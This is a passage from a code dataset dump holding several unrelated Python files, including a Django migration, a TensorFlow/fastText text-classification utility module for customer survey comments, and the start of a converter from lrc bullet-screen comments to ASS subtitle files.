__name__ == \"__main__\":\n unittest.main(failfast=True)\n\n# vi: nowrap\n","sub_path":"tests/test_set_filters.py","file_name":"test_set_filters.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"248708635","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('predict', '0003_pipelinescriptsdirectory'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='predictdataset',\n name='fastq_type',\n field=models.CharField(blank=True, help_text=b'Only used for FastQ files', max_length=50, choices=[(b'pair-end', b'Pair-end'), (b'single-end', b'Single-end')]),\n ),\n ]\n","sub_path":"gentb_website/tb_website/apps/predict/migrations/0004_auto_20151124_1543.py","file_name":"0004_auto_20151124_1543.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"603330447","text":"\n\nfrom Calculus.calculus import Calculus\nimport Config.variables as variables\n\n\nif __debug__:\n import logging\n logger = logging.getLogger(__name__)\n\n\nclass Initialisation(Calculus):\n\n \"\"\" Initialisation of Calcul \"\"\"\n\n def __init__(self, *args, global_cache=None, **kwargs):\n super().__init__(*args, **kwargs)\n\n if global_cache is None:\n self._cache = self._cache\n else:\n self._cache = global_cache\n","sub_path":"Calculus/Initialisation/Initialisation.py","file_name":"Initialisation.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"455760274","text":"import csv\nimport datetime\nimport logging\nimport json\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport pandas as pd\nimport pickle\nimport posixpath\nimport requests\nimport re\nimport seaborn as sns\nimport sys\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport time\n\nfrom IPython.lib import kernel\nfrom sklearn.feature_extraction import text\nfrom sklearn.feature_selection import SelectKBest, f_classif\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\nfrom tensorflow.keras import preprocessing\nfrom tensorflow.keras import models\n\n\nclass ProgressCounter:\n def __init__(self, total_count, step=0, name=''):\n self.total_count = total_count\n self.count = 0\n self.step = step\n self.name = name\n\n def add_one(self):\n self.count += 1\n current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]\n if self.step==0 or self.count==self.total_count or self.count % self.step == 0:\n sys.stdout.write('%s: %s %d/%d\\r' % (current_time, self.name, self.count, self.total_count))\n\n\ndef set_gpu_memory(gpu_memory_limit=None):\n gpus = tf.config.experimental.list_physical_devices(device_type='GPU')\n print('set max gpu memory to {}'.format(gpu_memory_limit))\n for device in gpus:\n tf.config.experimental.set_virtual_device_configuration(\n device,\n [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=gpu_memory_limit)]\n )\n\n\ndef set_gpu_memory_growth(enable=True):\n physical_devices = tf.config.experimental.list_physical_devices('GPU')\n for device in physical_devices:\n tf.config.experimental.set_memory_growth(device, enable)\n\n\ndef get_notebook_name(host='127.0.0.1', port='8888', password='xxw'):\n connection_file_path = kernel.get_connection_file()\n connection_file = os.path.basename(connection_file_path)\n kernel_id = connection_file.split('-', 1)[1].split('.')[0]\n\n base_url = 'http://{0}:{1}/'.format(host, port)\n url = base_url + 'login?next=%2F'\n s = requests.Session()\n resp = s.get(url)\n xsrf_cookie = resp.cookies['_xsrf']\n params = {'_xsrf': xsrf_cookie, 'password': password}\n res = s.post(url, data=params)\n url = posixpath.join(base_url, 'api', 'sessions')\n ret = s.get(url)\n notebooks = json.loads(ret.text)\n\n kernel_ids = [notebook['kernel']['id'] for notebook in notebooks]\n notebook_names = [os.path.basename(notebook['path']) for notebook in notebooks]\n\n index = kernel_ids.index(kernel_id)\n return notebook_names[index]\n\n\nclass ObjectPickle(object):\n @classmethod\n def save(cls, path, object_):\n parent_path = os.path.dirname(path)\n if not os.path.exists(parent_path):\n os.makedirs(parent_path)\n\n with open(path, 'wb') as output:\n pickle.dump(object_, output, pickle.HIGHEST_PROTOCOL)\n print('save object to {}'.format(path))\n\n @classmethod\n def load(cls, path):\n with open(path, 'rb') as input_:\n object_ = pickle.load(input_)\n return object_\n\n\nclass JsonPickle(object):\n @classmethod\n def save(cls, path, object_):\n parent_path = os.path.dirname(path)\n if not os.path.exists(parent_path):\n os.makedirs(parent_path)\n\n with open(path, 'w') as output:\n output.write(json.dumps(object_))\n print('save json to {}'.format(path))\n\n @classmethod\n def load(cls, path):\n with open(path, 'r') as input_:\n content = input_.read()\n object_ = json.loads(content)\n return object_\n\n\ndef get_weight_num(obj):\n \"\"\"得到模型或layer可训练参数的个数\"\"\"\n return np.sum([np.prod(p.shape) for p in obj.trainable_weights]).item()\n\n\ndef show_tree(path, max_depth=10, max_num=100):\n def _show_tree(path, depth, max_num, prefix):\n if max_num<=0 or depth>max_depth:\n return max_num\n if depth == 1:\n print(path)\n max_num = max_num - 1\n items = os.listdir(path)\n for i, item in enumerate(items):\n if max_num<=0: return max_num\n new_item = path + '/' + item\n if i == len(items)-1:\n print(prefix + \"└──\" + item)\n new_prefix = prefix+\" \"\n else:\n print(prefix + \"├──\" + item)\n new_prefix = prefix+\"│ \"\n max_num = max_num-1\n if os.path.isdir(new_item):\n max_num = _show_tree(new_item, depth=depth+1, max_num=max_num, prefix=new_prefix)\n return max_num\n _show_tree(path, depth=1, max_num=max_num, prefix=\"\")\n\n\ndef load_data(text_file, use_augument=False):\n if use_augument:\n names = ['id', 'owner', 'label', 'train_test_flag', 'snps_comment_origin','snps_comment',\n 'support_attribute_comment_origin', 'support_attribute_comment', 'key_words', 'snps_score',\n 'main_symptom_new', 'area', 'survey_language', 'case_id',\n 'cs_response_date', 'main_symptom',\n 'snps_sa_comments_origin', 'snps_sa_comments', 'label_id',\n 'augument_count', 'augment_language']\n dtypes = [np.str, np.str, np.str, np.str, np.str, np.str,\n np.str, np.str, np.str, np.int,\n np.str, np.str, np.str, np.str,\n np.str, np.str,\n np.str, np.str, np.int,\n np.int, np.str]\n else:\n names = ['id', 'owner', 'label', 'train_test_flag', 'snps_comment_origin', 'snps_comment',\n 'support_attribute_comment_origin', 'support_attribute_comment', 'key_words', 'snps_score',\n 'main_symptom_new', 'area', 'survey_language', 'case_id',\n 'cs_response_date', 'main_symptom',\n 'snps_sa_comments_origin', 'snps_sa_comments', 'label_id']\n dtypes = [np.str, np.str, np.str, np.str, np.str, np.str,\n np.str, np.str, np.str, np.int,\n np.str, np.str, np.str, np.str,\n np.str, np.str,\n np.str, np.str, np.int]\n dtypes = {name:dtype for name, dtype in zip(names, dtypes)}\n df = pd.read_table(text_file, names=names, dtype=dtypes, quoting=csv.QUOTE_NONE, skiprows=1)\n df.index = df.id\n classes = list(df.label.sort_values(ascending=True).unique())\n print('loading {} records from {}'.format(len(df), text_file))\n return df, classes\n\n\ndef get_data_result(text_file):\n names = ['id', 'owner', 'label', 'train_test_flag', 'snps_comment_origin', 'snps_comment',\n 'support_attribute_comment_origin', 'support_attribute_comment', 'key_words', 'snps_score',\n 'main_symptom_new', 'area', 'survey_language', 'case_id',\n 'cs_response_date', 'main_symptom',\n 'snps_sa_comments_origin', 'snps_sa_comments', 'label_id',\n 'top1_predict_label', 'top2_predict_label',\n 'top1_predict_correct', 'top2_predict_correct']\n dtypes = [np.str, np.str, np.str, np.str, np.str, np.str,\n np.str, np.str, np.str, np.int,\n np.str, np.str, np.str, np.str,\n np.str, np.str,\n np.str, np.str, np.int,\n np.str, np.str,\n np.str, np.str\n ]\n dtypes = {name:dtype for name, dtype in zip(names, dtypes)}\n df = pd.read_table(text_file, names=names, dtype=dtypes, quoting=csv.QUOTE_NONE, skiprows=1)\n df.index = df.id\n df['cs_response_date'] = pd.to_datetime(df['cs_response_date']).apply(\n lambda x: datetime.datetime.strftime(x, format='%Y-%m-%d'))\n names = ['id', 'owner', 'main_symptom', 'label', 'train_test_flag', 'snps_comment_origin', 'snps_comment',\n 'support_attribute_comment_origin', 'support_attribute_comment', 'key_words', 'snps_score',\n 'main_symptom_new', 'area', 'survey_language', 'case_id',\n 'cs_response_date',\n 'top1_predict_label', 'top2_predict_label',\n 'top1_predict_correct', 'top2_predict_correct',\n 'snps_sa_comments', 'label_id']\n df = df[names]\n print('loading {} records from {}'.format(len(df), text_file))\n return df\n\n\ndef get_texts(df):\n def get_text(i, row):\n # print('-'*50, i, '-'*50)\n survey_language = row['Survey language']\n\n snps_comment = row['sNPS Comment']\n snps_comment = str(snps_comment) if pd.notna(snps_comment) else ''\n support_attribute_comment = row['Support Attribute Comment']\n support_attribute_comment = str(support_attribute_comment) if pd.notna(support_attribute_comment) else ''\n\n snps_comment_en = row['Translation to English for: Assisted Support - sNPS Comment']\n snps_comment_en = str(snps_comment_en) if pd.notna(snps_comment_en) else ''\n support_attribute_comment_en = row['Translation to English for: Assisted Support - Key Metric Comment']\n support_attribute_comment_en = str(support_attribute_comment_en) if pd.notna(\n support_attribute_comment_en) else ''\n snps_score = row['sNPS Score']\n\n lack_english = False\n status = 'classified'\n if snps_score >= 9:\n status = 'promoter'\n\n if not survey_language.lower().startswith('english') and status=='classified':\n if snps_comment.strip() != \"\" and snps_comment_en.strip() == '':\n status = 'lack of english text'\n elif support_attribute_comment.strip() != \"\" and support_attribute_comment_en.strip() == '':\n status = 'lack of english text'\n else:\n snps_comment = snps_comment_en\n support_attribute_comment = support_attribute_comment_en\n\n text = snps_comment + '' if support_attribute_comment == '' else '|' + support_attribute_comment\n if len(text) <= 3:\n status = 'no comment'\n return text, status, i\n\n results = [get_text(i, row) for i, row in df.iterrows()]\n texts = [text for text, _, _ in results]\n status = [status for _, status, _ in results]\n lack_english_rows = [i for _, status, i in results if status == 'lack of english text']\n promoter_rows = [i for _, status, i in results if status == 'promoter']\n no_comment_rows = [i for _, status, i in results if status == 'no comment']\n return texts, status, lack_english_rows, promoter_rows, no_comment_rows\n\n\ndef get_train_test(df, column, use_augument=False):\n if use_augument:\n df_train = df.loc[(df.train_test_flag == 'train') | (df.train_test_flag == 'augument')]\n else:\n df_train = df.loc[df.train_test_flag == 'train']\n df_test = df.loc[df.train_test_flag == 'test']\n\n train_texts = list(df_train[column].fillna(''))\n train_labels = np.array(df_train.label_id)\n\n test_texts = list(df_test[column].fillna(''))\n test_labels = np.array(df_test.label_id)\n\n return (train_texts, train_labels), (test_texts, test_labels)\n\n\ndef clean_texts(texts):\n def clean(text_):\n text_ = text_.strip().lower()\n # add space between punctuation\n text_ = re.sub(r'([.\\\\!?,\\'/()\\[\\]\":|;])', r' \\1 ', text_)\n # remove characters except for English letters and some punctuations\n text_ = re.sub(r\"[^A-Za-z\\.\\-\\?\\!\\,\\#\\@\\% ]\", \"\", text_)\n # remove extra spaces\n text_ = re.sub(r'[\" \"]+', \" \", text_)\n return text_\n\n texts = [clean(text_) for text_ in texts]\n return texts\n\n\nclass FastText:\n def __init__(self, classes):\n self.classes = classes\n self.no_blank_classes = [class_.replace(' ', '-').replace('/', '_') for class_ in classes]\n\n @classmethod\n def text_clean(cls, texts):\n texts = clean_texts(texts)\n return texts\n\n def save_file(self, texts, labels, file_path):\n def get_no_blank_class(label):\n return self.no_blank_classes[label]\n\n texts = self.text_clean(texts)\n ft_texts = ['__label__{}'.format(get_no_blank_class(label)) + ' ' + text\n for text, label in zip(texts, labels)]\n if not os.path.exists(os.path.dirname(file_path)):\n os.makedirs(os.path.dirname(file_path))\n with open(file_path, 'w') as f:\n for text in ft_texts:\n f.write(text + '\\n')\n print('save texts into {}'.format(file_path))\n\n def predict(self, model, texts, k=1):\n texts = self.text_clean(texts)\n return model.predict(texts, k)\n\n def save_model(self, model, model_name, save_path):\n save_model_path = os.path.join(save_path, '{}.bin'.format(model_name))\n save_vector_path = os.path.join(save_path, '{}.vec'.format(model_name))\n projector_vector_path = os.path.join(save_path, '{}_vec.tsv'.format(model_name))\n projector_meta_path = os.path.join(save_path, '{}_meta.tsv'.format(model_name))\n\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n\n print('saving model to ' + save_model_path)\n model.save_model(save_model_path)\n\n with open(save_vector_path, 'w') as vector_file:\n print('generating ' + save_vector_path)\n vector_file.write(str(len(model.words)) + \" \" + str(model.get_dimension()) + \"\\n\")\n for w in model.words:\n vector = model.get_word_vector(w)\n vstr = ' '.join([str(vi) for vi in vector])\n vector_file.write(w + ' ' + vstr + '\\n')\n\n with open(projector_vector_path, 'w') as projector_vector_file:\n print('generating ' + projector_vector_path)\n for i, w in enumerate(model.words):\n if i != 0:\n projector_vector_file.write('\\n')\n vector = model.get_word_vector(w)\n projector_vector_file.write('\\t'.join([str(vi) for vi in vector]))\n\n with open(projector_meta_path, 'w') as projector_meta_file:\n print('generating ' + projector_meta_path)\n for i, w in enumerate(model.words):\n if i != 0:\n projector_meta_file.write('\\n')\n projector_meta_file.write(w)\n return save_model_path, save_vector_path, projector_vector_path, projector_meta_path\n\n\ndef load_model(checkpoint_path):\n print('loading model from {}'.format(checkpoint_path))\n model = models.load_model(checkpoint_path, custom_objects={'tf': tf})\n return model\n\n\ndef load_vectorizer(vectorizer_path):\n if pd.isna(vectorizer_path): return None\n print('loading load_vectorizer from {}'.format(vectorizer_path))\n with open(vectorizer_path, 'rb') as input_:\n vectorizer = pickle.load(input_)\n return vectorizer\n\n\ndef get_model_results(base_path):\n print('getting model_results for {}'.format(base_path))\n result_files = []\n for file_name in os.listdir(base_path):\n notebook_path = os.path.join(base_path, file_name)\n if os.path.isdir(notebook_path):\n result_files = result_files + [os.path.join(notebook_path, notebook_file_name)\n for notebook_file_name in os.listdir(notebook_path)\n if notebook_file_name == 'model_results.json']\n model_results = []\n for result_file in result_files:\n with open(result_file, 'r') as input_:\n content = input_.read()\n model_results = model_results + json.loads(content)\n\n df_model_results = pd.DataFrame(model_results)\n df_model_results = df_model_results.sort_values('test_accuracy', ascending=False)\n df_model_results.index = range(1, len(df_model_results) + 1)\n df_model_results['id'] = df_model_results.index\n print(df_model_results.columns)\n columns = ['id', 'model_name', 'dataset_name', 'classes', 'program_name', 'train_loss', 'train_accuracy',\n 'test_loss', 'test_accuracy', 'test_top2_accuracy',\n 'weight_number', 'checkpoint_path', 'vectorizer_path',\n 'predictor_path', 'train_time', 'text_column']\n df_model_results = df_model_results[columns]\n return df_model_results\n\n\ndef get_best_predictor(base_path, root_path_replace=None):\n print('getting the best predictor for {}'.format(base_path))\n df_model_results = get_model_results(base_path)\n row = df_model_results.iloc[0]\n\n predictor_path = row['predictor_path']\n if root_path_replace is not None:\n predictor_path = root_path_replace(predictor_path)\n predictor = load_predictor(predictor_path, root_path_replace)\n return predictor\n\n\ndef load_predictor(predictor_path, root_path_replace=None):\n if pd.isna(predictor_path):\n return None\n print('loading predictor from {}'.format(predictor_path))\n with open(predictor_path, 'rb') as input_:\n predictor = pickle.load(input_)\n predictor.load(root_path_replace)\n return predictor\n\n\ndef plot_confusion_matrix(predictions, labels, classes):\n def plot_cm():\n\n cm = confusion_matrix(labels, predictions)\n bin_count = np.bincount(labels)\n\n if classes is None:\n index = range(len(bin_count))\n columns = range(len(bin_count))\n else:\n classes_ = [_class[0:15] for _class in classes]\n index = classes_\n columns = classes_\n\n df_cm = pd.DataFrame(cm, index=index, columns=columns)\n\n plt.title(\"{} - Confusion matrix\".format('fasttext'))\n sns.heatmap(df_cm, annot=True, fmt='g', cmap='coolwarm')\n if classes is not None:\n plt.yticks(rotation=0)\n plt.xticks(rotation=45)\n plt.xlabel(\"Predicted\")\n plt.ylabel(\"Actual\")\n\n height = min(6, len(classes) * 2)\n\n plt.figure(figsize=(height + 1, height))\n plot_cm()\n\n plt.show()\n\n\ndef get_top_prediction(predictions, labels, k=1):\n topk_predictions = np.array([labels[i] if labels[i] in list(predictions[i].argsort()[-k:][::-1])\n else predictions[i].argmax() for i in range(len(labels))])\n return topk_predictions\n\n\ndef get_top12_probabilities(predictions, classes, status):\n def get_top12_probability(i, prediction):\n if status[i] == 'no comment':\n return 'No Customer Feedback', 1.0, None, None\n if status[i] != 'classified':\n return None, None, None, None\n\n indexes = prediction.argsort()[-2:][::-1]\n top1_class = classes[indexes[0]]\n top1_probability = prediction[indexes[0]]\n top2_class = classes[indexes[1]]\n top2_probability = prediction[indexes[1]]\n return top1_class, top1_probability, top2_class, top2_probability\n\n results = [get_top12_probability(i, prediction) for i, prediction in enumerate(predictions)]\n top1_class = [item for item, _, _, _ in results]\n top1_probability = [item for _, item, _, _ in results]\n top2_class = [item for _, _, item, _ in results]\n top2_probability = [item for _, _, _, item in results]\n return top1_class, top1_probability, top2_class, top2_probability\n\n\ndef score(predictions, labels, classes):\n def score_(y_pred, y):\n tp = np.sum((y_pred == 1) * (y == 1)) * 1.0\n fn = np.sum((y_pred == 0) * (y == 1)) * 1.0\n fp = np.sum((y_pred == 1) * (y == 0)) * 1.0\n tn = np.sum((y_pred == 0) * (y == 0)) * 1.0\n\n recall = tp / (tp + fn) if tp > 0 else 0\n precision = tp / (tp + fp) if tp > 0 else 0\n specificity = tn / (tn + fp) if tn > 0 else 0\n f1 = 2 * recall * precision / (recall + precision) if recall + precision > 0 else 0\n\n return precision, recall, f1\n\n scores = []\n for i in range(len(classes)):\n y = np.array([1 if label == i else 0 for label in labels])\n y_pred = np.array([1 if pred == i else 0 for pred in predictions])\n\n scores.append(score_(y_pred, y))\n\n df_scores = pd.DataFrame(scores, columns=['precision', 'recall', 'f1'], index=classes)\n return df_scores\n\n\ndef save_prediction_results(df, text_column, predictor, result_path,\n error_sample_path, error_sample_count=None):\n df = df.copy()\n texts = texts = list(df[text_column].fillna(''))\n label_ids = np.array(df.label_id)\n\n predictions = predictor.predict(texts)\n\n top2_label_ids = [list(predictions[i].argsort()[-2:][::-1]) for i in range(len(texts))]\n df['top1_predict_label'] = [predictor.classes[ids[0]] for ids in top2_label_ids]\n df['top2_predict_label'] = [predictor.classes[ids[1]] for ids in top2_label_ids]\n df['top1_predict_correct'] = ['yes' if label_ids[i] == ids[0] else 'no' for i, ids in enumerate(top2_label_ids)]\n df['top2_predict_correct'] = ['yes' if label_ids[i] in ids else 'no' for i, ids in enumerate(top2_label_ids)]\n\n print('saving data to {}'.format(result_path))\n df.to_csv(result_path, sep='\\t', index=False)\n\n print('saving data to {}'.format(error_sample_path))\n df_error_sample = df.loc[(df.train_test_flag == 'test') & (df.top1_predict_correct == 'no')].copy()\n if error_sample_count is not None:\n df_error_sample = df_error_sample.sample(n=error_sample_count)\n df_error_sample.to_csv(error_sample_path, sep=',', index=False)\n return df, df_error_sample\n\n\ndef get_embedding_matrix(embeddings_index, vector_size, tokenizer, max_features):\n word_index = tokenizer.word_index\n embedding_matrix = np.zeros((min(max_features, len(word_index)), vector_size))\n missing_words = {}\n match_count = 0\n for word, i in word_index.items():\n if i >= max_features: continue\n vector = embeddings_index.get(word)\n if vector is not None:\n embedding_matrix[i] = vector\n match_count = match_count + 1\n else:\n missing_words[word] = tokenizer.word_counts[word]\n print('embedding_matrix.shape: {}'.format(embedding_matrix.shape))\n print('match cout: {}'.format(match_count))\n print('missing word cout: {}'.format(len(missing_words)))\n return embedding_matrix\n\n\ndef load_embedding(embedding_file, max_length=200000, ignore_rows=0):\n embedding_index = {}\n with open(embedding_file) as f:\n i = 0\n for line in f:\n i = i + 1\n values = line.split()\n if i <= ignore_rows or len(values) < 20:\n continue\n word = values[0]\n coefs = np.asarray(values[1:], dtype='float32')\n embedding_index[word] = coefs\n if i > max_length: break\n vector_size = len(coefs)\n print('Loaded %s word vectors. the vector size is %s' % (len(embedding_index), vector_size))\n return embedding_index, vector_size\n\n\ndef load_embedding_matrix(embedding_files, tokenizer, max_features, max_length=200000, ignore_rows=1):\n if not isinstance(embedding_files, list):\n embedding_files = [embedding_files]\n\n embedding_matrixs = []\n for embedding_file in embedding_files:\n print('-' * 100)\n embedding_index, vector_size = load_embedding(embedding_file, max_length)\n embedding_matrix = get_embedding_matrix(embedding_index, vector_size,\n tokenizer, max_features)\n embedding_matrixs.append(embedding_matrix)\n embedding_matrix = np.hstack(embedding_matrixs)\n return embedding_matrix\n\n\nclass TaskTime:\n \"\"\"用于显示执行时间\"\"\"\n\n def __init__(self, task_name, show_start=False):\n super().__init__()\n self.show_start = show_start\n self.task_name = task_name\n self.start_time = time.time()\n\n def elapsed_time(self):\n return time.time()-self.start_time\n\n def __enter__(self):\n if self.show_start:\n logging.info('start {}'.format(self.task_name))\n return self;\n\n def __exit__(self, exc_type, exc_value, exc_tb):\n time.sleep(0.5)\n logging.info('finish {} [elapsed time: {:.2f} seconds]'.format(self.task_name, self.elapsed_time()))\n\n\nclass Vectorizer(object):\n def __init__(self):\n super().__init__()\n\n def fit(self, texts):\n return self\n\n def transform(self, texts):\n return texts\n\n @classmethod\n def text_clean(self, texts):\n return clean_texts(texts)\n\n\nclass RawVectorizer(Vectorizer):\n def __init__(self):\n super().__init__()\n\n def transform(self, texts):\n texts = self.text_clean(texts)\n return np.array(texts)\n\n\nclass TransferVectorizer(Vectorizer):\n def __init__(self, module_path, max_length):\n super().__init__()\n self.module_path = module_path\n self.max_length = max_length\n self.transfer_layer = hub.KerasLayer(self.module_path, trainable=False, dtype=tf.string)\n\n def __getstate__(self):\n state = self.__dict__.copy()\n del state[\"transfer_layer\"]\n return state\n\n def __setstate__(self, state):\n self.__dict__.update(state)\n self.transfer_layer = hub.KerasLayer(self.module_path, trainable=False, dtype=tf.string)\n\n @classmethod\n def transform_(cls, texts, transfer_layer, max_length=250):\n def split(text):\n return text.split(' ')\n\n def embedding(words):\n return transfer_layer(words).numpy()\n\n def filter_(vectors):\n return len(vectors) <= max_length\n\n def padding(vectors):\n if len(vectors) < max_length:\n left_padding = max(0, max_length - len(vectors))\n paddings = [[left_padding, 0], [0, 0]]\n vectors = np.pad(vectors, paddings, \"constant\")\n else:\n vectors = vectors[0:max_length]\n return vectors\n\n def transform_(text_):\n words = split(text_)\n vectors = embedding(words)\n vectors = padding(vectors)\n return vectors\n\n vectors = np.array([transform_(text_) for text_ in texts])\n return vectors\n\n def transform(self, texts):\n texts = self.text_clean(texts)\n vectors = self.transform_(texts, self.transfer_layer, self.max_length)\n return vectors\n\n\nclass SequenceVectorizer(Vectorizer):\n def __init__(self):\n super().__init__()\n self.tokenizer = None\n self.max_sequence_length = None\n\n def fit(self, train_texts, max_sequence_length, num_words=None, filters=''):\n # filters = '!\"#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~\\t\\n'\n\n train_texts = self.text_clean(train_texts)\n\n tokenizer = preprocessing.text.Tokenizer(num_words=num_words, filters=filters)\n tokenizer.fit_on_texts(train_texts)\n\n # Vectorize training and validation texts.\n train_sequences = tokenizer.texts_to_sequences(train_texts)\n\n # Get max sequence length.\n max_sequence_length = min(len(max(train_sequences, key=len)), max_sequence_length)\n self.tokenizer = tokenizer\n self.max_sequence_length = max_sequence_length\n\n return self\n\n def transform(self, texts):\n texts = self.text_clean(texts)\n sequences = self.tokenizer.texts_to_sequences(texts)\n sequences = preprocessing.sequence.pad_sequences(sequences, maxlen=self.max_sequence_length)\n return sequences\n\n\nclass MultiSelectKBest(object):\n def __init__(self, score_func=f_classif, k=10):\n super().__init__()\n self.score_func = score_func\n self.k = k\n self.pvalues_ = None\n self.scores_ = None\n\n def fit(self, X, y):\n scores = []\n pvalues = []\n for j in range(y.shape[1]):\n selector = SelectKBest(self.score_func, k='all')\n selector.fit(X, y[:, j])\n scores.append(list(selector.scores_))\n if selector.pvalues_ is not None:\n pvalues.append(list(selector.pvalues_))\n\n self.scores_ = np.mean(scores, axis=0)\n if len(pvalues) > 0:\n self.pvalues_ = np.mean(pvalues, axis=0)\n else:\n self.pvalues_ = None\n\n return self\n\n def transform(self, X):\n if self.k == 'all':\n return X\n scores = self.scores_\n indexes = np.argsort(scores, kind=\"mergesort\")[-self.k:]\n indexes.sort()\n return X[:, indexes]\n\n def fit_transform(self, X, y):\n self.fit(X, y)\n return self.transform(X)\n\n\nclass NgramVectorizer(Vectorizer):\n def __init__(self):\n super().__init__()\n self.vectorizer = None\n self.selector = None\n\n def fit(self, train_texts, train_labels=None, top_k=None, ngram_range=(1, 2),\n token_mode='word', min_document_frequency=2, stop_words=None):\n\n train_texts = self.text_clean(train_texts)\n\n kwargs = {\n 'ngram_range': ngram_range, # Use 1-grams + 2-grams.\n 'dtype': 'int32',\n 'strip_accents': 'unicode',\n 'decode_error': 'replace',\n 'analyzer': token_mode, # Split text into word tokens.\n 'min_df': min_document_frequency,\n 'stop_words': stop_words\n }\n\n vectorizer = text.TfidfVectorizer(**kwargs)\n train_ngrams = vectorizer.fit_transform(train_texts)\n\n # Select top 'k' of the vectorized features.\n if top_k > 0 and train_labels is not None:\n if len(train_labels.shape) == 1:\n selector = SelectKBest(f_classif, k=min(top_k, train_ngrams.shape[1]))\n else:\n selector = MultiSelectKBest(f_classif, k=min(top_k, train_ngrams.shape[1]))\n selector.fit(train_ngrams, train_labels)\n else:\n selector = None\n\n self.vectorizer = vectorizer\n self.selector = selector\n return self\n\n def transform(self, texts):\n texts = self.text_clean(texts)\n ngrams = self.vectorizer.transform(texts)\n if self.selector is not None:\n ngrams = self.selector.transform(ngrams).astype('float32')\n return ngrams\n\n","sub_path":"_notes/05-ai/54-tensorflow/code/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":29856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"406628053","text":"# -*- coding: UTF-8 -*-\n\n#I don't why it's called bullet screen,\n#or maybe you could call it real-time comment(which is not realtime)\n#anyway, what this py file does is\n#to convert bullet screen into ass file\n\n#origin file is lrt file (maybe supports xml file later)\n#output file is ass file\n\n#an example of ass file:\n'''\n[Script Info]\nTitle: ass converter\nOriginal Script:\nScriptType: v4.00+\nCollisions: Normal\nPlayResX: 560\nPlayResY: 420\nTimer: 10.0000\n\n[V4+ Styles]\nFormat: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding\nStyle: Fix,Microsoft YaHei UI,25,&H66FFFFFF,&H66FFFFFF,&H66000000,&H66000000,1,0,0,0,100,100,0,0,1,2,0,2,20,20,2,0\nStyle: R2L,Microsoft YaHei UI,25,&H66FFFFFF,&H66FFFFFF,&H66000000,&H66000000,1,0,0,0,100,100,0,0,1,2,0,2,20,20,2,0\n\n[Events]\nFormat: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text\nDialogue: 0,0:00:05.70,0:00:13.70,R2L,,20,20,2,,{\\move(660,25,-100,25)}this is a demo\n'''\n\n#the most important thing is to insert {\\move(600, 25, -100, 25)} into dialogue\n#so that it could work as bullet screen\n\nfrom enum import Enum\nimport exceptions\nimport time\nimport datetime\nimport os\nimport re\nimport chardet\n\nfrom video_grabber import *\nfrom helper.logger import *\n\nINPUT_BULLETSCREEN_FILE = Enum('INPUT_BULLETSCREEN_FILE', ('lrc', 'xml'))\n\nTUPLE_TIME_INDEX = 0\nTUPLE_AUTHOR_INDEX = 1\nTUPLE_MESSAGE_INDEX = 2\n\nBULLET_SCREEN_FOLDER = 'bulletscreen'\nif DEBUG_MODE:\n DEFAULT_OUTPUT_PATH = os.path.join(os.path.abspath('..'), BULLET_SCREEN_FOLDER)\nelse:\n DEFAULT_OUTPUT_PATH = os.path.join(os.path.abspath('.'), BULLET_SCREEN_FOLDER)\n\n#the postprogressed ass file should be saved into the preset path\n#and return the path to the caller\n\n\ndef convert_file(input_file, input_type=INPUT_BULLETSCREEN_FILE.lrc, path=DEFAULT_OUTPUT_PATH, height=960, width=540, offset=0):\n checkOrCreateFolder(path)\n now = time.strftime(\"%Y%m%d\", time.localtime(time.time()))\n subpath = os.path.join(path, now)\n checkOrCreateFolder(subpath)\n file = os.path.basename(input_file)\n if input_type == INPUT_BULLETSCREEN_FILE.lrc:\n outputFile = file.rstrip(\".lrc\")+\".ass\"\n outputPath = os.path.join(subpath, outputFile)\n convert_lrc(input_file, outputPath, height, width, offset)\n elif input_type == INPUT_BULLETSCREEN_FILE.xml:\n pass\n else:\n raise Exception('no such input bulletscreen type, must be lrt or xml, please check the origin file')\n\ndef convert_lrc(input_file, outputPath, height, width, offset=0):\n messages = read_lrc_files(input_file)\n lines = []\n lines.extend(generate_header(height, width))\n lines.extend(generate_styles(height, width))\n lines.extend(generate_events(messages, height, width, offset=offset))\n writeAssFile(lines, outputPath)\n\ndef convert_xml(input_file):\n pass\n\ndef writeAssFile(lines, outputPath):\n with open(outputPath, 'w') as f:\n for line in lines:\n f.write(line)\n\ndef generate_header(height, width, title=\"Bullet Screen\"):\n lines = []\n lines.append(\"[Script Info]\\n\")\n lines.append(\"Title: %s\\n\"%title)\n lines.append(\"Original Script: converted from lrc or xml file\\n\")\n lines.append(\"ScriptType: v4.00+\\n\")\n lines.append(\"Collisions: Normal\\n\")\n lines.append(\"PlayResX: %d\\n\"%width)\n lines.append(\"PlayResY: %d\\n\"%height)\n lines.append(\"Timer: 100.0000\\n\")\n lines.append(\"\\n\")\n return lines\n\ndef generate_styles(height, width):\n lines = []\n lines.append(\"[V4+ Styles]\\n\")\n #todo:\n fontSize = height/20/1.5\n lines.append(\"Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding\\n\")\n lines.append(\"Style: R2L,Microsoft 